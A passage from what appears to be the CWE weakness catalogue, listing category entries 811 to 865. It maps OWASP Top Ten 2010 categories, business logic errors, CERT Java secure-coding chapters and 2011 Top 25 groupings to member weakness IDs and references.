HasMember	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	809	195
HasMember	B	90	Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')	809	207
HasMember	B	91	XML Injection (aka Blind XPath Injection)	809	209

### References

[REF-761]OWASP. "Top 10 2010-A1-Injection". < [http://www.owasp.org/index.php/Top\\_10\\_2010-A1-Injection](http://www.owasp.org/index.php/Top_10_2010-A1-Injection) >.

## Category-811: OWASP Top Ten 2010 Category A2 - Cross-Site Scripting (XSS)

Category ID : 811

### Summary

Weaknesses in this category are related to the A2 category in the OWASP Top Ten 2010.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	809	Weaknesses in OWASP Top Ten (2010)	809	2323
HasMember	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	809	159

### References

[REF-762]OWASP. "Top 10 2010-A2-Cross-Site Scripting (XSS)". < [http://www.owasp.org/index.php/Top\\_10\\_2010-A2-Cross-Site\\_Scripting\\_%28XSS%29](http://www.owasp.org/index.php/Top_10_2010-A2-Cross-Site_Scripting_%28XSS%29) >.

## Category-812: OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management

Category ID : 812

### Summary

Weaknesses in this category are related to the A3 category in the OWASP Top Ten 2010.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	809	Weaknesses in OWASP Top Ten (2010)	809	2323
HasMember	G	287	Improper Authentication	809	657
HasMember	B	306	Missing Authentication for Critical Function	809	703
HasMember	B	307	Improper Restriction of Excessive Authentication Attempts	809	709
HasMember	B	798	Use of Hard-coded Credentials	809	1573

### References

[REF-763]OWASP. "Top 10 2010-A3-Broken Authentication and Session Management". < [http://www.owasp.org/index.php/Top\\_10\\_2010-A3-Broken\\_Authentication\\_and\\_Session\\_Management](http://www.owasp.org/index.php/Top_10_2010-A3-Broken_Authentication_and_Session_Management) >.

## Category-813: OWASP Top Ten 2010 Category A4 - Insecure Direct Object References

Category ID : 813

### Summary

Weaknesses in this category are related to the A4 category in the OWASP Top Ten 2010.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	809	Weaknesses in OWASP Top Ten (2010)	809	2323
HasMember	B	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	809	33
HasMember	C	99	Improper Control of Resource Identifiers ('Resource Injection')	809	235
HasMember	B	434	Unrestricted Upload of File with Dangerous Type	809	991
HasMember	B	639	Authorization Bypass Through User-Controlled Key	809	1324
HasMember	B	829	Inclusion of Functionality from Untrusted Control Sphere	809	1621
HasMember	C	862	Missing Authorization	809	1657
HasMember	C	863	Incorrect Authorization	809	1664

### References

[REF-764]OWASP. "Top 10 2010-A4-Insecure Direct Object References". < [http://www.owasp.org/index.php/Top\\_10\\_2010-A4-Insecure\\_Direct\\_Object\\_References](http://www.owasp.org/index.php/Top_10_2010-A4-Insecure_Direct_Object_References) >.

## Category-814: OWASP Top Ten 2010 Category A5 - Cross-Site Request Forgery(CSRF)

Category ID : 814

### Summary

Weaknesses in this category are related to the A5 category in the OWASP Top Ten 2010.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	809	Weaknesses in OWASP Top Ten (2010)	809	2323
HasMember	B	352	Cross-Site Request Forgery (CSRF)	809	821

### References

[REF-765]OWASP. "Top 10 2010-A5-Cross-Site Request Forgery (CSRF)". < [http://www.owasp.org/index.php/Top\\_10\\_2010-A5-Cross-Site\\_Request\\_Forgery\\_%28CSRF%29](http://www.owasp.org/index.php/Top_10_2010-A5-Cross-Site_Request_Forgery_%28CSRF%29) >.

## Category-815: OWASP Top Ten 2010 Category A6 - Security Misconfiguration

Category ID : 815

## Summary

Weaknesses in this category are related to the A6 category in the OWASP Top Ten 2010.

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	809	Weaknesses in OWASP Top Ten (2010)	809	2323
HasMember	B	209	Generation of Error Message Containing Sensitive Information	809	510
HasMember	V	219	Storage of File with Sensitive Data Under Web Root	809	529
HasMember	B	250	Execution with Unnecessary Privileges	809	568
HasMember	B	538	Insertion of Sensitive Information into Externally-Accessible File or Directory	809	1178
HasMember	B	552	Files or Directories Accessible to External Parties	809	1193
HasMember	C	732	Incorrect Permission Assignment for Critical Resource	809	1445

## References

[REF-766]OWASP. "Top 10 2010-A6-Security Misconfiguration". < [http://www.owasp.org/index.php/Top\\_10\\_2010-A6-Security\\_Misconfiguration](http://www.owasp.org/index.php/Top_10_2010-A6-Security_Misconfiguration) >.

## Category-816: OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage

Category ID : 816

## Summary

Weaknesses in this category are related to the A7 category in the OWASP Top Ten 2010.

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	809	Weaknesses in OWASP Top Ten (2010)	809	2323
HasMember	C	311	Missing Encryption of Sensitive Data	809	718
HasMember	B	312	Cleartext Storage of Sensitive Information	809	725
HasMember	C	326	Inadequate Encryption Strength	809	756
HasMember	C	327	Use of a Broken or Risky Cryptographic Algorithm	809	758
HasMember	V	759	Use of a One-Way Hash without a Salt	809	1474

## References

[REF-767]OWASP. "Top 10 2010-A7-Insecure Cryptographic Storage". < [http://www.owasp.org/index.php/Top\\_10\\_2010-A7-Insecure\\_Cryptographic\\_Storage](http://www.owasp.org/index.php/Top_10_2010-A7-Insecure_Cryptographic_Storage) >.

## Category-817: OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access

Category ID : 817

## Summary

Weaknesses in this category are related to the A8 category in the OWASP Top Ten 2010.

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	809	Weaknesses in OWASP Top Ten (2010)	809	2323
HasMember	G	285	Improper Authorization	809	649
HasMember	G	862	Missing Authorization	809	1657
HasMember	G	863	Incorrect Authorization	809	1664

### References

[REF-768]OWASP. "Top 10 2010-A8-Failure to Restrict URL Access". < [http://www.owasp.org/index.php/Top\\_10\\_2010-A8-Failure\\_to\\_Restrict\\_URL\\_Access](http://www.owasp.org/index.php/Top_10_2010-A8-Failure_to_Restrict_URL_Access) >.

## Category-818: OWASP Top Ten 2010 Category A9 - Insufficient Transport Layer Protection

Category ID : 818

### Summary

Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2010.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	809	Weaknesses in OWASP Top Ten (2010)	809	2323
MemberOf	C	1346	OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures	1344	2281
HasMember	G	311	Missing Encryption of Sensitive Data	809	718
HasMember	B	319	Cleartext Transmission of Sensitive Information	809	740

### References

[REF-769]OWASP. "Top 10 2010-A9-Insufficient Transport Layer Protection". < [http://www.owasp.org/index.php/Top\\_10\\_2010-A9-Insufficient\\_Transport\\_Layer\\_Protection](http://www.owasp.org/index.php/Top_10_2010-A9-Insufficient_Transport_Layer_Protection) >.

## Category-819: OWASP Top Ten 2010 Category A10 - Unvalidated Redirects and Forwards

Category ID : 819

### Summary

Weaknesses in this category are related to the A10 category in the OWASP Top Ten 2010.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	809	Weaknesses in OWASP Top Ten (2010)	809	2323
HasMember	B	601	URL Redirection to Untrusted Site ('Open Redirect')	809	1266

### References

[REF-770]OWASP. "Top 10 2010-A10-Unvalidated Redirects and Forwards". < [http://www.owasp.org/index.php/Top\\_10\\_2010-A10-Unvalidated\\_Redirects\\_and\\_Forwards](http://www.owasp.org/index.php/Top_10_2010-A10-Unvalidated_Redirects_and_Forwards) >.

## Category-840: Business Logic Errors

Category ID : 840



## Summary

Weaknesses in this category identify some of the underlying problems that commonly allow attackers to manipulate the business logic of an application. Errors in business logic can be devastating to an entire application. They can be difficult to find automatically, since they typically involve legitimate use of the application's functionality. However, many business logic errors can exhibit patterns that are similar to well-understood implementation and design weaknesses.

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2315
MemberOf	C	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2284
HasMember	B	283	Unverified Ownership	699	643
HasMember	B	288	Authentication Bypass Using an Alternate Path or Channel	699	664
HasMember	B	639	Authorization Bypass Through User-Controlled Key	699	1324
HasMember	B	640	Weak Password Recovery Mechanism for Forgotten Password	699	1326
HasMember	B	708	Incorrect Ownership Assignment	699	1442
HasMember	B	770	Allocation of Resources Without Limits or Throttling	699	1502
HasMember	B	826	Premature Release of Resource During Expected Lifetime	699	1614
HasMember	B	837	Improper Enforcement of a Single, Unique Action	699	1640
HasMember	B	841	Improper Enforcement of Behavioral Workflow	699	1649

## Notes

### Terminology

The "Business Logic" term is generally used to describe issues that require domain-specific knowledge or "business rules" to determine if they are weaknesses or vulnerabilities, instead of legitimate behavior. Such issues might not be easily detectable via automatic code analysis, because the associated operations do not produce clear errors or undefined behavior at the code level. However, many such "business logic" issues can be understood as instances of other weaknesses such as input validation, access control, numeric computation, order of operations, etc.

### Research Gap

The classification of business logic flaws has been under-studied, although exploitation of business flaws frequently happens in real-world systems, and many applied vulnerability researchers investigate them. The greatest focus is in web applications. There is debate within the community about whether these problems represent particularly new concepts, or if they are variations of well-known principles. Many business logic flaws appear to be oriented toward business processes, application flows, and sequences of behaviors, which are not as well-represented in CWE as weaknesses related to input validation, memory management, etc.

## References

[REF-795]Jeremiah Grossman. "Business Logic Flaws and Yahoo Games". 2006 December 8. < <http://jeremiahgrossman.blogspot.com/2006/12/business-logic-flaws.html> >.

[REF-796]Jeremiah Grossman. "Seven Business Logic Flaws That Put Your Website At Risk". 2007 October. < [http://www.whitehatsec.com/home/assets/WP\\_bizlogic092407.pdf](http://www.whitehatsec.com/home/assets/WP_bizlogic092407.pdf) >.

[REF-797]WhiteHat Security. "Business Logic Flaws". < [http://www.whitehatsec.com/home/solutions/BL\\_auction.html](http://www.whitehatsec.com/home/solutions/BL_auction.html) >.

[REF-798]WASC. "Abuse of Functionality". < <http://projects.webappsec.org/w/page/13246913/Abuse-of-Functionality> >.

[REF-799]Rafal Los and Prajakta Jagdale. "Defying Logic: Theory, Design, and Implementation of Complex Systems for Testing Application Logic". 2011. < <http://www.slideshare.net/RafalLos/defying-logic-business-logic-testing-with-automation> >.

[REF-667]Rafal Los. "Real-Life Example of a 'Business Logic Defect' (Screen Shots!)". 2011. < <http://h30501.www3.hp.com/t5/Following-the-White-Rabbit-A/Real-Life-Example-of-a-Business-Logic-Defect-Screen-Shots/ba-p/22581> >.

[REF-801]Viktoria Felmetsger, Ludovico Cavedon, Christopher Kruegel and Giovanni Vigna. "Toward Automated Detection of Logic Vulnerabilities in Web Applications". USENIX Security Symposium 2010. 2010 August. < [http://www.usenix.org/events/sec10/tech/full\\_papers/Felmetsger.pdf](http://www.usenix.org/events/sec10/tech/full_papers/Felmetsger.pdf) >.

[REF-802]Faisal Nabi. "Designing a Framework Method for Secure Business Application Logic Integrity in e-Commerce Systems". International Journal of Network Security, Vol.12, No.1. 2011. < <http://ijns.femto.com.tw/contents/ijns-v12-n1/ijns-2011-v12-n1-p29-41.pdf> >.

[REF-1102]Chetan Conikee. "Case Files from 20 Years of Business Logic Flaws". 2020 February. < [https://published-prd.lanyonevents.com/published/rsaus20/sessionsFiles/18217/2020\\_USA20\\_DSO-R02\\_01\\_Case%20Files%20from%2020%20Years%20of%20Business%20Logic%20Flaws.pdf](https://published-prd.lanyonevents.com/published/rsaus20/sessionsFiles/18217/2020_USA20_DSO-R02_01_Case%20Files%20from%2020%20Years%20of%20Business%20Logic%20Flaws.pdf) >.

## Category-845: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 2 - Input Validation and Data Sanitization (IDS)

Category ID : 845

### Summary

Weaknesses in this category are related to rules in the Input Validation and Data Sanitization (IDS) chapter of The CERT Oracle Secure Coding Standard for Java (2011).

### Membership

Nature	Type	ID	Name	View	Page
MemberOf		844	Weaknesses Addressed by The CERT Oracle Secure Coding Standard for Java (2011)	844	2324
HasMember		78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	844	147
HasMember		116	Improper Encoding or Escaping of Output	844	272
HasMember		134	Use of Externally-Controlled Format String	844	349
HasMember		144	Improper Neutralization of Line Delimiters	844	367
HasMember		150	Improper Neutralization of Escape, Meta, or Control Sequences	844	377
HasMember		180	Incorrect Behavior Order: Validate Before Canonicalize	844	433
HasMember		182	Collapse of Data into Unsafe Value	844	437
HasMember		289	Authentication Bypass by Alternate Name	844	666
HasMember		409	Improper Handling of Highly Compressed Data (Data Amplification)	844	943
HasMember		625	Permissive Regular Expression	844	1309
HasMember		647	Use of Non-Canonical URL Paths for Authorization Decisions	844	1343
HasMember		838	Inappropriate Encoding for Output Context	844	1641

### References

[REF-813]Fred Long, Dhruv Mohindra, Robert C. Seacord, Dean F. Sutherland and David Svoboda. "The CERT Oracle Coding Standard for Java". 1st Edition. 2011 September 8. Addison-Wesley Professional.

## Category-846: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 3 - Declarations and Initialization (DCL)

Category ID : 846

### Summary

Weaknesses in this category are related to rules in the Declarations and Initialization (DCL) chapter of The CERT Oracle Secure Coding Standard for Java (2011).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	844	Weaknesses Addressed by The CERT Oracle Secure Coding Standard for Java (2011)	844	2324
HasMember	G	665	Improper Initialization	844	1368

### References

[REF-813]Fred Long, Dhruv Mohindra, Robert C. Seacord, Dean F. Sutherland and David Svoboda. "The CERT Oracle Coding Standard for Java". 1st Edition. 2011 September 8. Addison-Wesley Professional.

## Category-847: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 4 - Expressions (EXP)

Category ID : 847

### Summary

Weaknesses in this category are related to rules in the Expressions (EXP) chapter of The CERT Oracle Secure Coding Standard for Java (2011).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	844	Weaknesses Addressed by The CERT Oracle Secure Coding Standard for Java (2011)	844	2324
HasMember	B	252	Unchecked Return Value	844	575
HasMember	V	479	Signal Handler Use of a Non-reentrant Function	844	1084
HasMember	V	595	Comparison of Object References Instead of Object Contents	844	1256
HasMember	V	597	Use of Wrong Operator in String Comparison	844	1258

### References

[REF-813]Fred Long, Dhruv Mohindra, Robert C. Seacord, Dean F. Sutherland and David Svoboda. "The CERT Oracle Coding Standard for Java". 1st Edition. 2011 September 8. Addison-Wesley Professional.

## Category-848: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 5 - Numeric Types and Operations (NUM)

Category ID : 848

### Summary

Weaknesses in this category are related to rules in the Numeric Types and Operations (NUM) chapter of The CERT Oracle Secure Coding Standard for Java (2011).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	844	Weaknesses Addressed by The CERT Oracle Secure Coding Standard for Java (2011)	844	2324
HasMember	B	197	Numeric Truncation Error	844	479
HasMember	B	369	Divide By Zero	844	865
HasMember	B	681	Incorrect Conversion between Numeric Types	844	1400

### References

[REF-813]Fred Long, Dhruv Mohindra, Robert C. Seacord, Dean F. Sutherland and David Svoboda. "The CERT Oracle Coding Standard for Java". 1st Edition. 2011 September 8. Addison-Wesley Professional.

## Category-849: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 6 - Object Orientation (OBJ)

Category ID : 849

### Summary

Weaknesses in this category are related to rules in the Object Orientation (OBJ) chapter of The CERT Oracle Secure Coding Standard for Java (2011).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	844	Weaknesses Addressed by The CERT Oracle Secure Coding Standard for Java (2011)	844	2324
HasMember	B	374	Passing Mutable Objects to an Untrusted Method	844	871
HasMember	B	375	Returning a Mutable Object to an Untrusted Caller	844	874
HasMember	V	486	Comparison of Classes by Name	844	1100
HasMember	V	491	Public cloneable() Method Without Final ('Object Hijack')	844	1108
HasMember	V	492	Use of Inner Class Containing Sensitive Data	844	1110
HasMember	V	493	Critical Public Variable Without Final Modifier	844	1117
HasMember	V	498	Cloneable Class Containing Sensitive Information	844	1130
HasMember	V	500	Public Static Field Not Marked Final	844	1133
HasMember	V	582	Array Declared Public, Final, and Static	844	1237
HasMember	V	766	Critical Data Element Declared Public	844	1495

### References

[REF-813]Fred Long, Dhruv Mohindra, Robert C. Seacord, Dean F. Sutherland and David Svoboda. "The CERT Oracle Coding Standard for Java". 1st Edition. 2011 September 8. Addison-Wesley Professional.

## Category-850: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 7 - Methods (MET)

Category ID : 850

### Summary

Weaknesses in this category are related to rules in the Methods (MET) chapter of The CERT Oracle Secure Coding Standard for Java (2011).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	844	Weaknesses Addressed by The CERT Oracle Secure Coding Standard for Java (2011)	844	2324
HasMember	B	487	Reliance on Package-level Scope	844	1102
HasMember	V	568	finalize() Method Without super.finalize()	844	1215
HasMember	G	573	Improper Following of Specification by Caller	844	1222
HasMember	B	581	Object Model Violation: Just One of Equals and Hashcode Defined	844	1236
HasMember	V	583	finalize() Method Declared Public	844	1238
HasMember	V	586	Explicit Call to Finalize()	844	1243
HasMember	V	589	Call to Non-ubiquitous API	844	1247
HasMember	B	617	Reachable Assertion	844	1297

### References

[REF-813]Fred Long, Dhruv Mohindra, Robert C. Seacord, Dean F. Sutherland and David Svoboda. "The CERT Oracle Coding Standard for Java". 1st Edition. 2011 September 8. Addison-Wesley Professional.

## Category-851: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)

Category ID : 851

### Summary

Weaknesses in this category are related to rules in the Exceptional Behavior (ERR) chapter of The CERT Oracle Secure Coding Standard for Java (2011).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	844	Weaknesses Addressed by The CERT Oracle Secure Coding Standard for Java (2011)	844	2324
HasMember	B	209	Generation of Error Message Containing Sensitive Information	844	510
HasMember	V	230	Improper Handling of Missing Values	844	543
HasMember	V	232	Improper Handling of Undefined Values	844	545
HasMember	B	248	Uncaught Exception	844	566
HasMember	V	382	J2EE Bad Practices: Use of System.exit()	844	883
HasMember	B	390	Detection of Error Condition Without Action	844	893
HasMember	B	395	Use of NullPointerException Catch to Detect NULL Pointer Dereference	844	906
HasMember	B	397	Declaration of Throws for Generic Exception	844	910

Nature	Type	ID	Name	V	Page
HasMember	B	460	Improper Cleanup on Thrown Exception	844	1041
HasMember	B	497	Exposure of Sensitive System Information to an Unauthorized Control Sphere	844	1127
HasMember	B	584	Return Inside Finally Block	844	1240
HasMember	B	600	Uncaught Exception in Servlet	844	1264
HasMember	↔	690	Unchecked Return Value to NULL Pointer Dereference	844	1418
HasMember	P	703	Improper Check or Handling of Exceptional Conditions	844	1433
HasMember	⊙	705	Incorrect Control Flow Scoping	844	1437

## References

[REF-813]Fred Long, Dhruv Mohindra, Robert C. Seacord, Dean F. Sutherland and David Svoboda. "The CERT Oracle Coding Standard for Java". 1st Edition. 2011 September 8. Addison-Wesley Professional.

## Category-852: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 9 - Visibility and Atomicity (VNA)

Category ID : 852

### Summary

Weaknesses in this category are related to rules in the Visibility and Atomicity (VNA) chapter of The CERT Oracle Secure Coding Standard for Java (2011).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	844	Weaknesses Addressed by The CERT Oracle Secure Coding Standard for Java (2011)	844	2324
HasMember	⊙	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	844	841
HasMember	B	366	Race Condition within a Thread	844	856
HasMember	B	413	Improper Resource Locking	844	950
HasMember	B	567	Unsynchronized Access to Shared Data in a Multithreaded Context	844	1213
HasMember	⊙	662	Improper Synchronization	844	1363
HasMember	⊙	667	Improper Locking	844	1375

## References

[REF-813]Fred Long, Dhruv Mohindra, Robert C. Seacord, Dean F. Sutherland and David Svoboda. "The CERT Oracle Coding Standard for Java". 1st Edition. 2011 September 8. Addison-Wesley Professional.

## Category-853: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 10 - Locking (LCK)

Category ID : 853

### Summary

Weaknesses in this category are related to rules in the Locking (LCK) chapter of The CERT Oracle Secure Coding Standard for Java (2011).



**Membership**

Nature	Type	ID	Name	V	Page
MemberOf	V	844	Weaknesses Addressed by The CERT Oracle Secure Coding Standard for Java (2011)	844	2324
HasMember	B	412	Unrestricted Externally Accessible Lock	844	947
HasMember	B	413	Improper Resource Locking	844	950
HasMember	B	609	Double-Checked Locking	844	1283
HasMember	G	667	Improper Locking	844	1375
HasMember	B	820	Missing Synchronization	844	1601
HasMember	B	833	Deadlock	844	1632

**References**

[REF-813]Fred Long, Dhruv Mohindra, Robert C. Seacord, Dean F. Sutherland and David Svoboda. "The CERT Oracle Coding Standard for Java". 1st Edition. 2011 September 8. Addison-Wesley Professional.

## Category-854: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 11 - Thread APIs (THI)

Category ID : 854

**Summary**

Weaknesses in this category are related to rules in the Thread APIs (THI) chapter of The CERT Oracle Secure Coding Standard for Java (2011).

**Membership**

Nature	Type	ID	Name	V	Page
MemberOf	V	844	Weaknesses Addressed by The CERT Oracle Secure Coding Standard for Java (2011)	844	2324
HasMember	V	572	Call to Thread run() instead of start()	844	1221
HasMember	G	705	Incorrect Control Flow Scoping	844	1437

**References**

[REF-813]Fred Long, Dhruv Mohindra, Robert C. Seacord, Dean F. Sutherland and David Svoboda. "The CERT Oracle Coding Standard for Java". 1st Edition. 2011 September 8. Addison-Wesley Professional.

## Category-855: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 12 - Thread Pools (TPS)

Category ID : 855

**Summary**

Weaknesses in this category are related to rules in the Thread Pools (TPS) chapter of The CERT Oracle Secure Coding Standard for Java (2011).

**Membership**

Nature	Type	ID	Name	V	Page
MemberOf	V	844	Weaknesses Addressed by The CERT Oracle Secure Coding Standard for Java (2011)	844	2324



Nature	Type	ID	Name	V	Page
HasMember	B	392	Missing Report of Error Condition	844	901
HasMember	C	405	Asymmetric Resource Consumption (Amplification)	844	933
HasMember	B	410	Insufficient Resource Pool	844	945

## References

[REF-813]Fred Long, Dhruv Mohindra, Robert C. Seacord, Dean F. Sutherland and David Svoboda. "The CERT Oracle Coding Standard for Java". 1st Edition. 2011 September 8. Addison-Wesley Professional.

## Category-856: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 13 - Thread-Safety Miscellaneous (TSM)

Category ID : 856

### Summary

Weaknesses in this category are related to rules in the Thread-Safety Miscellaneous (TSM) chapter of The CERT Oracle Secure Coding Standard for Java (2011).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	844	Weaknesses Addressed by The CERT Oracle Secure Coding Standard for Java (2011)	844	2324

## References

[REF-813]Fred Long, Dhruv Mohindra, Robert C. Seacord, Dean F. Sutherland and David Svoboda. "The CERT Oracle Coding Standard for Java". 1st Edition. 2011 September 8. Addison-Wesley Professional.

## Category-857: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO)

Category ID : 857

### Summary

Weaknesses in this category are related to rules in the Input Output (FIO) chapter of The CERT Oracle Secure Coding Standard for Java (2011).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	844	Weaknesses Addressed by The CERT Oracle Secure Coding Standard for Java (2011)	844	2324
HasMember	V	67	Improper Handling of Windows Device Names	844	122
HasMember	B	135	Incorrect Calculation of Multi-Byte String Length	844	355
HasMember	B	198	Use of Incorrect Byte Ordering	844	483
HasMember	B	276	Incorrect Default Permissions	844	630
HasMember	V	279	Incorrect Execution-Assigned Permissions	844	636
HasMember	B	359	Exposure of Private Personal Information to an Unauthorized Actor	844	836
HasMember	C	377	Insecure Temporary File	844	876

Nature	Type	ID	Name	V	Page
HasMember		404	Improper Resource Shutdown or Release	844	927
HasMember		405	Asymmetric Resource Consumption (Amplification)	844	933
HasMember		459	Incomplete Cleanup	844	1038
HasMember		532	Insertion of Sensitive Information into Log File	844	1171
HasMember		732	Incorrect Permission Assignment for Critical Resource	844	1445
HasMember		770	Allocation of Resources Without Limits or Throttling	844	1502

## References

[REF-813]Fred Long, Dhruv Mohindra, Robert C. Seacord, Dean F. Sutherland and David Svoboda. "The CERT Oracle Coding Standard for Java". 1st Edition. 2011 September 8. Addison-Wesley Professional.

## Category-858: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 15 - Serialization (SER)

Category ID : 858

### Summary

Weaknesses in this category are related to rules in the Serialization (SER) chapter of The CERT Oracle Secure Coding Standard for Java (2011).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf		844	Weaknesses Addressed by The CERT Oracle Secure Coding Standard for Java (2011)	844	2324
HasMember		250	Execution with Unnecessary Privileges	844	568
HasMember		319	Cleartext Transmission of Sensitive Information	844	740
HasMember		400	Uncontrolled Resource Consumption	844	912
HasMember		499	Serializable Class Containing Sensitive Data	844	1132
HasMember		502	Deserialization of Untrusted Data	844	1137
HasMember		589	Call to Non-ubiquitous API	844	1247
HasMember		770	Allocation of Resources Without Limits or Throttling	844	1502

## References

[REF-813]Fred Long, Dhruv Mohindra, Robert C. Seacord, Dean F. Sutherland and David Svoboda. "The CERT Oracle Coding Standard for Java". 1st Edition. 2011 September 8. Addison-Wesley Professional.

## Category-859: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)

Category ID : 859

### Summary

Weaknesses in this category are related to rules in the Platform Security (SEC) chapter of The CERT Oracle Secure Coding Standard for Java (2011).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	844	Weaknesses Addressed by The CERT Oracle Secure Coding Standard for Java (2011)	844	2324
HasMember	V	111	Direct Use of Unsafe JNI	844	258
HasMember	B	266	Incorrect Privilege Assignment	844	605
HasMember	B	272	Least Privilege Violation	844	623
HasMember	C	300	Channel Accessible by Non-Endpoint	844	692
HasMember	B	302	Authentication Bypass by Assumed-Immutable Data	844	697
HasMember	B	319	Cleartext Transmission of Sensitive Information	844	740
HasMember	B	347	Improper Verification of Cryptographic Signature	844	811
HasMember	B	470	Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')	844	1057
HasMember	B	494	Download of Code Without Integrity Check	844	1119
HasMember	C	732	Incorrect Permission Assignment for Critical Resource	844	1445
HasMember	B	807	Reliance on Untrusted Inputs in a Security Decision	844	1595

### References

[REF-813]Fred Long, Dhruv Mohindra, Robert C. Seacord, Dean F. Sutherland and David Svoboda. "The CERT Oracle Coding Standard for Java". 1st Edition. 2011 September 8. Addison-Wesley Professional.

## Category-860: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 17 - Runtime Environment (ENV)

Category ID : 860

### Summary

Weaknesses in this category are related to rules in the Runtime Environment (ENV) chapter of The CERT Oracle Secure Coding Standard for Java (2011).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	844	Weaknesses Addressed by The CERT Oracle Secure Coding Standard for Java (2011)	844	2324
HasMember	B	349	Acceptance of Extraneous Untrusted Data With Trusted Data	844	815
HasMember	C	732	Incorrect Permission Assignment for Critical Resource	844	1445

### References

[REF-813]Fred Long, Dhruv Mohindra, Robert C. Seacord, Dean F. Sutherland and David Svoboda. "The CERT Oracle Coding Standard for Java". 1st Edition. 2011 September 8. Addison-Wesley Professional.

## Category-861: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC)

Category ID : 861

### Summary

Weaknesses in this category are related to rules in the Miscellaneous (MSC) chapter of The CERT Oracle Secure Coding Standard for Java (2011).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	844	Weaknesses Addressed by The CERT Oracle Secure Coding Standard for Java (2011)	844	2324
HasMember	V	259	Use of Hard-coded Password	844	591
HasMember	G	311	Missing Encryption of Sensitive Data	844	718
HasMember	G	330	Use of Insufficiently Random Values	844	772
HasMember	V	332	Insufficient Entropy in PRNG	844	781
HasMember	V	333	Improper Handling of Insufficient Entropy in TRNG	844	783
HasMember	V	336	Same Seed in Pseudo-Random Number Generator (PRNG)	844	789
HasMember	V	337	Predictable Seed in Pseudo-Random Number Generator (PRNG)	844	791
HasMember	G	400	Uncontrolled Resource Consumption	844	912
HasMember	V	401	Missing Release of Memory after Effective Lifetime	844	921
HasMember	V	543	Use of Singleton Pattern Without Synchronization in a Multithreaded Context	844	1183
HasMember	B	770	Allocation of Resources Without Limits or Throttling	844	1502
HasMember	B	798	Use of Hard-coded Credentials	844	1573

### References

[REF-813]Fred Long, Dhruv Mohindra, Robert C. Seacord, Dean F. Sutherland and David Svoboda. "The CERT Oracle Coding Standard for Java". 1st Edition. 2011 September 8. Addison-Wesley Professional.

## Category-864: 2011 Top 25 - Insecure Interaction Between Components

Category ID : 864

### Summary

Weaknesses in this category are listed in the "Insecure Interaction Between Components" section of the 2011 CWE/SANS Top 25 Most Dangerous Software Errors.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	900	Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors	900	2332
HasMember	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	900	147
HasMember	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	900	159
HasMember	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	900	195
HasMember	3	352	Cross-Site Request Forgery (CSRF)	900	821
HasMember	B	434	Unrestricted Upload of File with Dangerous Type	900	991
HasMember	B	601	URL Redirection to Untrusted Site ('Open Redirect')	900	1266
HasMember	B	829	Inclusion of Functionality from Untrusted Control Sphere	900	1621

### References

[REF-843]"2011 CWE/SANS Top 25 Most Dangerous Software Errors". 2011 June 7. < [http://cwe.mitre.org/top25/archive/2011/2011\\_cwe\\_sans\\_top25.html](http://cwe.mitre.org/top25/archive/2011/2011_cwe_sans_top25.html) >.

## Category-865: 2011 Top 25 - Risky Resource Management

Category ID : 865

### Summary

Weaknesses in this category are listed in the "Risky Resource Management" section of the 2011 CWE/SANS Top 25 Most Dangerous Software Errors.

### Membership

Nature	Type	ID	Name	V	Page
